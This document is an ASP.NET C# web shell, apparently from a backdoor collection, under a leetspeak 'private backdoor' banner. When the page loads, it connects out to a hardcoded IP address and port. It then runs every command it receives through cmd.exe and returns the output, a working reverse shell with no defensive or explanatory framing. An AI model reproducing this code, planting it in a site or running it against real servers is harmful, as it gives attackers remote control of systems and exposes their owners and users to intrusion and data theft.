[$] Pr1v473 xHeEl B4ckD00RzZ [$]
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
string host = "100.42.182.143"; // Target IP address
int port = 8811; // Target port number
try
{
using (TcpClient client = new TcpClient(host, port))
using (NetworkStream networkStream = client.GetStream())
using (StreamWriter writer = new StreamWriter(networkStream))
using (StreamReader reader = new StreamReader(networkStream))
{
writer.AutoFlush = true;
writer.WriteLine("Connected");
while (true)
{
string serverCommand = reader.ReadLine();
if (serverCommand.ToLower() == "exit")
{
break;
}
string output = ExecuteCommand(serverCommand);
writer.WriteLine(output);
}
}
}
catch (Exception ex)
{
// Handle exceptions (log or display error)
Response.Write("Error: " + ex.Message);
}
}
private string ExecuteCommand(string command)
{
try
{
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + command;
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.CreateNoWindow = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
proc.WaitForExit();
return output;
}
catch (Exception ex)
{
return "Error: " + ex.Message;
}
}
</script>